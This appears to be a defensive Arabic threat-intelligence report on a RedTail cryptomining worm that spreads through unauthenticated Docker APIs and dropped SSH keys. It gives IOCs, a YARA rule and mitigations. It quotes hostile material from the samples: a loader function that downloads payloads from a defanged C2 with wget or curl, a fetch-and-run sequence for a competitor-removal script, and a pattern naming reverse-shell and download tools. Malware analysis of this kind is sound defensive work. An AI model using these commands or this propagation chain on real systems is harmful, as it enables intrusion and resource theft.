malware · cryptomining · redtail · docker · linux · honeypot · worm
داخل حملة RedTail: الانتشار الذاتي عبر واجهات Docker API المكشوفة
ضبطت مصائد Kinryū Labs عامل تعدين RedTail وهو ينتشر عبر واجهات Docker Engine API بلا مصادقة ومفاتيح SSH مُسقَطة. يوثّق هذا المقال حالة راهنة مُلتَقَطة بالكامل، مع المُحمِّل، وبرنامج إزالة المنافسين، وعامل التعدين، ومؤشرات حيّة.
بقلم Davis Zheng·
TLP:CLEAR. أُجيز للنشر العام. مصدره شبكة مستشعرات مصائد Kinryū Labs. كل مؤشر هنا دفاعي. التقطنا المفتاح الخاص للمهاجم ولا ننشره. تظهر هنا البصمة العامة فقط. عناوين IP والنطاقات الخاصة بالمهاجم مُبطَّلة المخالب (defanged).
ملخص تنفيذي
- 2375واجهة Docker API مكشوفة، طريق الدخول
- 4معماريات معالج مستهدفة
- ~21ثاقتحام كامل مُسجَّل على مصيدتنا
- قابل للانتشارعميل SSH مدمج في عامل التعدين
في أوائل ومنتصف يونيو 2026، ضبطت شبكة مصائدنا دودة تنتشر عبر واجهات Docker Engine API المكشوفة للإنترنت على TCP/2375 وتُسقط RedTail، وهو عامل تعدين مونيرو قائم على XMRig موجود منذ أواخر 2023. يَسرد الفاعل الحاويات قيد التشغيل عبر Docker API المفتوحة، ويشغّل أوامر داخل كلٍّ منها، ويُسقط مفتاح SSH خاصاً للاستمرارية والحركة الجانبية، ثم يجلب مُحمِّلاً متعدد المعماريات. يثبّت المُحمِّل عامل تعدين يحمل عميل SSH خاصاً به للانتشار وأداة تنصّت libpcap لإيجاد أهداف جديدة.
الحمولة هي RedTail بلا لبس. RedTail معروف أكثر بوصوله عبر استغلال تطبيقات الويب (PAN-OS، Ivanti، Log4Shell، PHP-CGI، TP-Link)، واستخدامه لواجهات Docker API المكشوفة سبق توثيقه أيضاً. يضيف هذا المقال حالة راهنة مُلتَقَطة بالكامل لذلك التسليم عبر Docker API: الـ C2 والمؤشرات الحيّة، وإسقاط مفتاح SSH الذي يتيح للمضيف نسخ نفسه، وبرنامج إزالة المنافسين الذي أشارت إليه مقالات سابقة دون استرجاعه. نتتبّع منطق النسخ الذاتي داخلياً باسم docker.selfrep.
يحمل عامل التعدين إعداد تشغيل مُشفَّراً ولا محفظة مدمجة، فلا يمكننا انتزاع عنوان مونيرو من العيّنة. استرجاعه يتطلب تفجيراً حياً مع التقاط للشبكة.
التقييمات الرئيسية
- الحمولة هي RedTail (ثقة عالية). سلسلة
libredtail evbuffer_tls، وأثر.redtail، واحتياطredtailفي المُحمِّل، وبنية الإعداد المُشفَّر / بلا محفظة، كلها تتوافق مع إصدارات العائلة بعد 2024. - الحملة قابلة للانتشار كدودة (ثقة عالية). أدوات Docker API، والمفتاح المُسقَط، وعميل SSH المدمج في عامل التعدين، هي كل ما يحتاجه مضيف حديث العدوى ليذهب باحثاً عن الضحية التالية بنفسه.
- المشغّل هدفه المال (ثقة متوسطة). سرقة بيانات الاعتماد والتنصّت يبدوان أنهما يخدمان الانتشار أكثر من خدمة هدف منفصل لسرقة البيانات.
- ناقل Docker API سبق توثيقه لـ RedTail ولا يزال يعمل جيداً. مقبس واحد مكشوف على TCP/2375 يمنح الفاعل تنفيذ كود بصلاحية root داخل كل حاوية على المضيف.
سلسلة الهجوم
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp [email protected][.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
المرحلة 1: الوصول الأولي عبر Docker API
يطارد الفاعل نسخ Docker Engine التي تعرض واجهة REST بلا مصادقة على TCP/2375. تحاكي مصيدة Docker API لدينا محرّكاً حقيقياً، وقد سجّلت التسلسل كله في نحو 21 ثانية:
-
GET /versionوGET /containers/jsonلأخذ بصمة المحرّك وسرد الحاويات. -
POST /containers/{id}/execثمPOST /exec/{id}/startضد كل حاوية قيد التشغيل. - حمولة صدفة داخل الحاوية تكتب مفتاح SSH للمهاجم وتجلب المُحمِّل.
تلك الخطوة الأخيرة هي ما يحوّل هذا من عامل تعدين لمرة واحدة إلى دودة. المضيف الذي يُصاب ويصادف أن يعرض Docker API الخاصة به سيشغّل روتين السرد-والتنفيذ نفسه ضد المجموعة التالية من الضحايا. نسمّي ذلك المنطق docker.selfrep.
مفتاح SSH مُسقَط (الاستمرارية والحركة الجانبية)
| السمة | القيمة |
|---|---|
| النوع | مفتاح OpenSSH ed25519 خاص |
| التعليق | dlr@sftp |
| بصمة SHA256 للمفتاح العام | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| مصدر الجلب (قناة SCP) | [email protected][.]113 |
لا ننشر المفتاح الخاص. استخدم البصمة أعلاه للبحث عنه: افحص
authorized_keysو~/.sshعبر كامل أسطولك.
المرحلة 2: مُحمِّل /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
النوع: برنامج صدفة POSIX
مُحمِّل صغير ومحمول، وحذِر.
اسم ملف مخفي عشوائي. يركّب get_random_string() اسماً أبجدياً رقمياً من 4 إلى 35 حرفاً، مجرّباً /dev/urandom، ثم openssl، ثم $RANDOM، ويرتدّ إلى السلسلة الحرفية redtail إن فشلت كلها. ذلك الاحتياط علامة عائلة مفيدة. يهبط عامل التعدين باسم .<random> بنقطة بادئة ليبقى خارج ls العادي. لدى VirusTotal هذه العيّنة بأحد تلك الأسماء، .mn6VTucEsFZY1PdSC2QAq.
مساعد التنزيل. يطفئ dlr() التحقق من TLS، لأن الـ C2 موقَّع ذاتياً، ويرتدّ من wget إلى curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
تحضير (staging) واعٍ بـ noexec. يقرأ المُحمِّل /proc/mounts، ويرمي كل تجهيز noexec، ويشغّل find / -user $(whoami) -perm -u=rwx ليجد مكاناً يستطيع فيه الكتابة والتنفيذ معاً. يختبر الكتابة في كل مرشَّح بـ dd أو truncate بحجم 2 ميغابايت قبل استخدامه. معظم المُحمِّلات تكتب في /tmp فحسب وتمضي. أما هذا فيبذل الجهد ليهبط حيث يعرف أنه يستطيع التنفيذ.
تنظيف المنافسين. يجلب ويشغّل clean (dlr clean; chmod +x clean; sh clean; rm -rf clean)، ثم يزيله. التقطنا ذلك البرنامج أيضاً ونفكّكه أدناه. يطارد استمرارية المنافسين وتحضيرهم، تاركاً العمليات قيد التشغيل وشأنها.
ترتيب. يزيل .redtail وملف .<random> السابق قبل تثبيت الجديد.
اختيار المعمارية. مفتاح uname -mp يختار البناء:
| تطابق ARCH | يُنزِّل |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| غير معروف | يجرّب الأربعة بالقوة الغاشمة، يشغّل كلاً منها |
التشغيل. ./.<random> $1، ممرّراً $1 الأصلي للمُحمِّل، الذي يعامله RedTail كوسم حملة أو ناقل.
برنامج إزالة المنافسين clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
النوع: برنامج Bash (795 بايت)
التقطنا clean في ضربة لاحقة على المصائد. يترك العمليات قيد التشغيل وشأنها. كل عمله هو إخلاء البرمجيات الخبيثة الأخرى من الجهاز ليستأثر RedTail به:
-
تنظيف cron. لكل crontab مستخدم (
/var/spool/cron/crontabs/*)، وcrontab نظام (/etc/crontab،/etc/crontabs)، ودليل إدراج (/etc/cron.{hourly,daily,weekly,monthly,d})، و/etc/anacrontab، يزيل بِت عدم القابلية للتغيير بـchattr -ia(البرمجيات الخبيثة المنافسة تضبطه لحماية أسطر cron الخاصة بها) ثم يحذف أي سطر يطابق نمط إعادة عدوى:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dهذا ينتزع مهاد التنزيل والأصداف العكسية للطواقم الأخرى تاركاً مدخلات cron الشرعية وشأنها.
-
قتل منافس مُسمّى. يعطّل ويوقف خدمة systemd المسماة
c3pool_miner، وهي طلقة مباشرة على عامل تعدين c3pool. -
مسح التحضير. يفرّغ
/tmpو/var/tmpو/dev/shmبـrm -rf، مخلياً حمولات المنافسين والمساحة المؤقتة التي يتشاركونها.
ضرب الاستمرارية والتحضير هو اللعبة الأهدأ. ينجو من إعادة التشغيل، حيث كانت مدخلات cron المتبقية ستعيد إصابة المضيف لولا ذلك، ويتجنّب ضجيج قتل العمليات بالجملة.
المرحلة 3: عامل تعدين RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
الحجم: 1,880,264 بايت (1.79 ميغابايت)
التنسيق: ELF 64-bit LSB EXEC (مربوط ساكناً، non-PIE)، x86-64، نقطة الدخول 0xaa9e18
المُغلِّف: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 خبيث، تقييم المجتمع −60، أول رؤية ~2026-06-05
وسوم التهديد: trojan.usblem26/abminer؛ عائلات usblem26 / abminer / gen3
التغليف ومقاومة التحليل
- UPX 5.02 برأس سليم. يفك
upx -dتغليفه بنظافة إلى ELF مربوط ساكناً بنحو 5 ميغابايت. - تنفيذ بلا ملف. تُظهر رؤى الكود في VirusTotal استخدامه
memfd_create(syscall0x13f) لتشغيل الحمولة مباشرةً من واصف ملف ذاكرة مجهول، مع إعادة تنفيذ عبر/proc/self/exeوتحضير في/dev/shm. لا شيء يمسّ القرص، فلا تحصل مضادات الفيروسات القائمة على القرص على فرصة للنظر. - انتحال اسم العملية (
sets-process-name) ليمتزج بالعمليات العادية. - التملّص من المنقّح (
detect-debug-environment). تصف مقالات RedTail العامة التنقيح الذاتي عبرptraceوقيام الثنائي بقتل GDB بنشاط. - ملاحظة عن مضاد فيروسات المضيف. يسِم Microsoft Defender الـ ELF المُغلَّف بـ
Trojan:Linux/Multiverze!rfnويمنع قراءته من القرص، فيجب أن يجري الفرز الساكن في جهاز معزول أو في الذاكرة.
مكوّنات مؤكَّدة (من سلاسل .rodata بعد فك التغليف)
نواة تعدين XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail، حزمة الشبكة التي تُعرّف العائلة
libredtail evbuffer_tls
Connection keepalive User-Agent
libevent مخصّص بالإضافة إلى عميل HTTP عبر TLS. سلسلة libredtail evbuffer_tls هي ما يفصل RedTail عن بناء XMRig القياسي.
عميل SSH مدمج (الحركة الجانبية وسرقة بيانات الاعتماد)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
يحمل عامل التعدين عميل SSH كاملاً. ذلك هو المحرّك خلف إسقاط مفتاح dlr@sftp والانتشار. ثنائي عامل التعدين يتولّى سرقة بيانات اعتماده وانتشار SSH بنفسه. لا شيء من ذلك يعيش في الأداة المُسقِطة.
libpcap مدمج (تنصّت الشبكة)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
التقاط حزم على المضيف، وهو ما يناسب الاكتشاف المحلي للمضيفين وبيانات الاعتماد.
جداول الترميز. يظهر كلٌّ من أبجدية Base64 القياسية والآمنة للروابط (...+/ و...-_)، يستخدمهما روتين فك ترميز الإعداد.
الإعداد وفجوة العزو
بحثنا بجدّ في الثنائي بعد فك التغليف عن عناوين IP وروابط وstratum وpool وأنماط عناوين مونيرو. التجمّعات الوحيدة هناك هي تجمّعات التبرّع للمطوّر المدمجة في XMRig (donate.ssl.xmrig.com، donate.v2.xmrig.com)، التي يحملها كل بناء XMRig ولا يتحكم فيها المشغّل. لا يوجد تجمّع أو وكيل أو محفظة للمهاجم بنص صريح.
ذلك متعمَّد، ويتوافق مع وجهة RedTail منذ 2024. إعداد التعدين مُشفَّر ولا يُفكّ إلا في الذاكرة وقت التشغيل، والبناءات الأخيرة لا تحمل محفظة البتة، مشيرةً بدلاً من ذلك إلى تجمّع خاص أو وكيل تجمّع. إذن:
- لا يمكننا انتزاع محفظة مونيرو من هذه العيّنة.
- لا يخرج وكيل التجمّع إلا من تفجير حيّ مع مصرف شبكة (انظر المنهجية).
العزو
هذا هو RedTail، المعروف أيضاً باسم عامل تعدين .redtail، عامل تعدين مونيرو مُشتقّ من XMRig كُتب عنه أول مرة نحو أواخر 2023 وأوائل 2024. ما يتوافق:
- سلسلة
libredtail evbuffer_tls، الفريدة له. - أثر
.redtailواحتياطredtailفي المُحمِّل. - بنية الإعداد المُشفَّر / بلا محفظة، والمُحمِّل متعدد المعماريات، وبرنامج المنافسين
clean، وسرقة بيانات اعتماد SSH، وكلها سمات معروفة لـ RedTail.
للمقارنة، نواقل التسليم المُسجَّلة سلفاً للعائلة هي CVE-2024-3400 (PAN-OS)، وCVE-2023-46805 وCVE-2024-21887 (Ivanti)، وCVE-2021-44228 (Log4Shell)، وCVE-2024-4577 (PHP-CGI)، وCVE-2023-1389 (TP-Link). يسِم VirusTotal هذه العيّنة أيضاً بـ CVE-2021-41773 (اجتياز مسار إلى RCE في Apache 2.4.49/2.4.50) وCVE-2015-2808 (RC4، “Bar Mitzvah”).
استخدام RedTail لواجهات Docker API المكشوفة سبق توثيقه، فالناقل نفسه قديم. يضيف هذا التقرير التقاطاً راهناً له: الـ C2 الحيّ وبصمات الحمولات، وبرنامج clean المُسترجَع، وتفصيل النسخ الذاتي عبر المفتاح المُسقَط.
نظرة مستقبلية
تغيّر طواقم تعدين العملات الخبيثة كيفية اقتحامها أكثر بكثير مما تغيّر الحمولة، ومُحمِّل RedTail المعياري يسهّل استبدال طريقة دخول بأخرى. ومقابس Docker المكشوفة تقع في صميم ذلك المجال. انجرف قدر كبير من نشاط Linux الانتهازي نحو سوء الإعدادات السحابية الأصيلة، وواجهة Docker API مفتوحة واحدة تسلّم المهاجم root داخل كل حاوية على الجهاز. كان RedTail هنا من قبل، والعرض المستمر من منافذ 2375 المكشوفة للإنترنت يُبقيه مُجدياً.
نرى من المرجّح أن يُبقي المشغّل ناقل Docker API إلى جانب استغلالات الويب بدلاً من استبدال أحدهما بالآخر، وهو ما يمنحه ببساطة مزيداً من المضيفين القابلين للوصول. إن كنت تشغّل حاويات، فعامل واجهة Docker API المكشوفة كأنها جالسة على الإنترنت العام، لأنها كذلك فعلياً.
مؤشرات الاختراق
الشبكة
| المؤشر | السياق |
|---|---|
14.46.136[.]77 | C2 / مضيف الحمولات (HTTPS، موقَّع ذاتياً). يقدّم /sh، /clean، /x86_64، /i686، /aarch64، /arm7. يصفّي خروج السحابة بحسب ASN. |
hxxps://14.46.136[.]77/sh | رابط مُحمِّل المرحلة 2 |
hxxps://14.46.136[.]77/clean | برنامج إزالة المنافسين (تطهير cron / التحضير) |
217.60.195[.]113 | مصدر مفتاح / حمولة عبر SCP ([email protected][.]113) |
الملفات (SHA256 / MD5)
| الملف | SHA256 | MD5 |
|---|---|---|
sh (المُحمِّل) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (تطهير المنافسين) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (عامل التعدين) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
آثار على المضيف
| المؤشر | السياق |
|---|---|
.redtail | أثر عامل التعدين / علامة عدوى سابقة |
.<random alnum>، مثل .mn6VTucEsFZY1PdSC2QAq | اسم ملف عامل التعدين المخفي (نقطة بادئة + عشوائي) |
تعليق مفتاح SSH dlr@sftp | المفتاح المُسقَط |
بصمة المفتاح العام SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | بصمة المفتاح المُسقَط؛ اصطدها في authorized_keys |
ملفات مُحضَّرة في /dev/shm أو /var/tmp أو /tmp أو أي دليل rwx قابل للكتابة من المستخدم | مواقع التحضير |
سلوكية
-
memfd_create(syscall0x13f) ينفّذ ELF من واصف ملف مجهول. - عملية تقرأ
/proc/mountsثم تشغّلfind / -perm -u=rwx(تحضير واعٍ بـ noexec). - انتحال اسم العملية؛ تملّص من المنقّح قائم على
ptrace. -
stratum+tcp:///stratum+ssl://صادر إلى مضيف غير قياسي. -
systemctl disable c3pool_minerوsystemctl stop c3pool_miner(طرد منافس). -
chattr -iaعلى مسارات crontab يعقبه مباشرةً حذف جماعي لأسطرwget/curl/ الأصداف العكسية من cron. -
rm -rfلـ/tmp/*و/var/tmp/*و/dev/shm/*(مسح تحضير المنافسين).
الكشف
الكشف على المضيف (منطق العملية / EDR)
نبّه على عملية، بالتسلسل:
- تقرأ
/proc/mounts، ثم تشغّلfind / ... -perm -u=rwx ...، و - تكتب ملفاً باسم عشوائي بنقطة بادئة في دليل قابل للكتابة من الجميع، و
- تستدعي
memfd_createيعقبه تنفيذ من واصف الملف الناتج.
أيٌّ منها وحده ضعيف. الثلاثة معاً إشارة قوية لهذا المُحمِّل.
قاعدة YARA مرشّحة (الثنائي بعد فك التغليف)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
تطابق هذه القاعدة الثنائي بعد فك تغليف UPX. للعيّنة المُغلَّفة، اعتمد على توقيع UPX، وحجم الملف (~1.79 ميغابايت)، وبصمات VirusTotal أعلاه.
الكشف على الشبكة
- احجب ونبّه على حركة المرور الصادرة إلى
14.46.136[.]77و217.60.195[.]113. - نبّه على
stratum+tcp/stratum+sslإلى أي وجهة غير مُدرَجة في قائمة السماح. - نبّه على طلبات GET عبر HTTP(S) لمسارات من حرف واحد أو بأسماء معماريات (
/sh،/x86_64،/aarch64،/arm7).
التخفيف
- لا تعرّض واجهة Docker API (2375/2376) لشبكات غير موثوقة. اربطها بـ localhost أو مقبس محمي واطلب مصادقة بشهادة عميل TLS. ذلك الضابط الواحد يكسر خطوة الوصول الأولي من جذرها.
- دقّق
~/.ssh/authorized_keysعبر الأسطول بحثاً عن مفتاحdlr@sftpوبصمته. - صفِّ الخروج وراقب حركة stratum وعناوين C2 أعلاه.
- جهّز
/tmpو/var/tmpو/dev/shmبـnoexecحيث تستطيع. يرفع ذلك العتبة، رغم أن هذا المُحمِّل واعٍ بـ noexec وسيذهب باحثاً عن دليل آخر قابل للكتابة والتنفيذ. - حصّن الحاويات: أسقط القدرات (capabilities) التي لا تحتاجها، واستخدم أنظمة ملفات جذرية للقراءة فقط، وشغّل بأقل امتياز ممكن كي لا يمنح
exec-in المهاجمَ بيئة تنفيذ صالحة للاستخدام.
مخطط MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
المنهجية وملاحظات المحلل
- سحبنا المرحلتين 2 و3 من الـ C2 الحيّ عبر HTTPS. يعطي
14.46.136[.]77مهلة انتهاء لعناوين IP السحابية (جرّبنا من AWS/EC2) لكنه يقدّم بشكل سليم لعناوين IP السكنية والعادية، وهو مرشّح خروج بحسب ASN أو الموقع الجغرافي يكسر صناديق الرمل السحابية الآلية. - يُطلق الـ ELF المُغلَّف Microsoft Defender (
Trojan:Linux/Multiverze!rfn) ولا يمكن حتى قراءته من القرص على مضيف Windows محمي، فجرى أول فرز في الذاكرة، بفك تغليف الأرشيف داخل عملية Python دون كتابة الـ ELF الخام إطلاقاً. - جرى فك التغليف بـ
upx -dفي FLARE-VM معزولة. حلّلنا الثنائي بعد فك التغليف بشكل ساكن، عبر السلاسل والبنية، دون تشغيله. - لم نشغّل عامل التعدين، فوكيل التجمّع وإعداد مونيرو المفكوكان وقت التشغيل ليسا في هذا التقرير.
متابعة موصى بها (للحصول على مؤشر pool-proxy)
للحصول على وكيل التجمّع، فجّر الثنائي بعد فك التغليف على جهاز Linux معزول (يصلح REMnux) مع:
- مصرف شبكة (INetSim، أو
fakednsبالإضافة إلى مُلتقِط TCP شامل) لاستدراج الاتصال، -
tcpdump -i any -w redtail.pcapلالتقاط CONNECT وتسجيل دخول stratum، و -
strace -fلالتقاط الإعداد بنص صريح الذي يفكّه عامل التعدين قبيل أولconnect()، وهو غالباً قابل للقراءة حتى حين يخفيه TLS على السلك.
ذلك المضيف والمنفذ هما المؤشر الأخير الذي ما زال معلّقاً لهذه الحملة.
العيّنات
العيّنات (المُحمِّل، وبرنامج clean، وعامل التعدين المُغلَّف) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسل [email protected] مع ملاحظة قصيرة عمّن أنت وما حاجتك إليها.